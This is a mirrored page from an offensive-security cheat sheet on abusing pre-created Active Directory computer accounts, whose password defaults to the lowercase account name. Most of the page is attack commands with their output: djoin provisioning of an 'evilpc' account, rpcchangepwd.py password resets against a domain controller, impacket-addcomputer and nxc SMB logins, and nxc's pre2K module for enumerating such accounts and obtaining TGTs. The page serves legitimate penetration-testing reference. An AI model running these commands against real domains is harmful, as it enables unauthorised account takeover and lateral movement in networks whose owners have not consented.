pwd-precreated-computer.md (2396B)
1 --- 2 title: "Password - Pre-Created Computer Account" 3 section: "Active Directory" 4 sectionSlug: "active-directory" 5 sourcePath: "docs/active-directory/pwd-precreated-computer.md" 6 sourceUrl: "https://github.com/swisskyrepo/InternalAllTheThings/blob/203bb0c0b290/docs/active-directory/pwd-precreated-computer.md" 7 sha: "203bb0c0b290" 8 isIndex: false 9 --- 10 11 # Password - Pre-Created Computer Account 12 13 When `Assign this computer account as a pre-Windows 2000 computer` checkmark is checked, the password for the computer account becomes the same as the computer account in lowercase. For instance, the computer account **SERVERDEMO$** would have the password **serverdemo**. 14 15 ```ps1 16 # Create a machine with default password 17 # must be run from a domain joined device connected to the domain 18 djoin /PROVISION /DOMAIN <fqdn> /MACHINE evilpc /SAVEFILE C:\temp\evilpc.txt /DEFPWD /PRINTBLOB /NETBIOS evilpc 19 ``` 20 21 * When you attempt to login using the credential you should have the following error code : `STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT`. 22 * Then you need to change the password with [rpcchangepwd.py](https://github.com/SecureAuthCorp/impacket/pull/1304) 23 24 ```ps1 25 python3 rpcchangepwd.py '<DOMAIN>/COMPUTER>$':'<PASSWORD>'@<DC IP> -newpass '<PASS>' 26 ``` 27 28 :warning: When the machine account name and the password are the same, the machine will also act like a pre-Windows 2000 computer and the authentication will result in `STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT`. 29 30 ```ps1 31 $ impacket-addcomputer -dc-ip 10.10.10.10 EXODIA.LOCAL/Administrator:P@ssw0rd -computer-name swkserver -computer-pass swkserver 32 [*] Successfully added machine account swkserver$ with password swkserver. 33 34 $ nxc smb 10.10.10.10 -u 'swkserver$' -p swkserver 35 SMB 10.10.10.10 445 WIN-8OJFTLMU1IG [*] Windows 10 / Server 2019 Build 17763 x64 (name:WIN-8OJFTLMU1IG) (domain:EXODIA.LOCAL) (signing:True) (SMBv1:False) 36 SMB 10.10.10.10 445 WIN-8OJFTLMU1IG [-] EXODIA.LOCAL\swkserver$:swkserver STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT 37 ``` 38 39 ## Enumerate Pre-Created Computer Account 40 41 Identify pre-created computer accounts, save the results to a file, and obtain TGTs for each 42 43 ```ps1 44 nxc -u username -p password -M pre2K 45 ``` 46 47 ## References 48 49 * [DIVING INTO PRE-CREATED COMPUTER ACCOUNTS - May 10, 2022 - By Oddvar Moe](https://www.trustedsec.com/blog/diving-into-pre-created-computer-accounts/)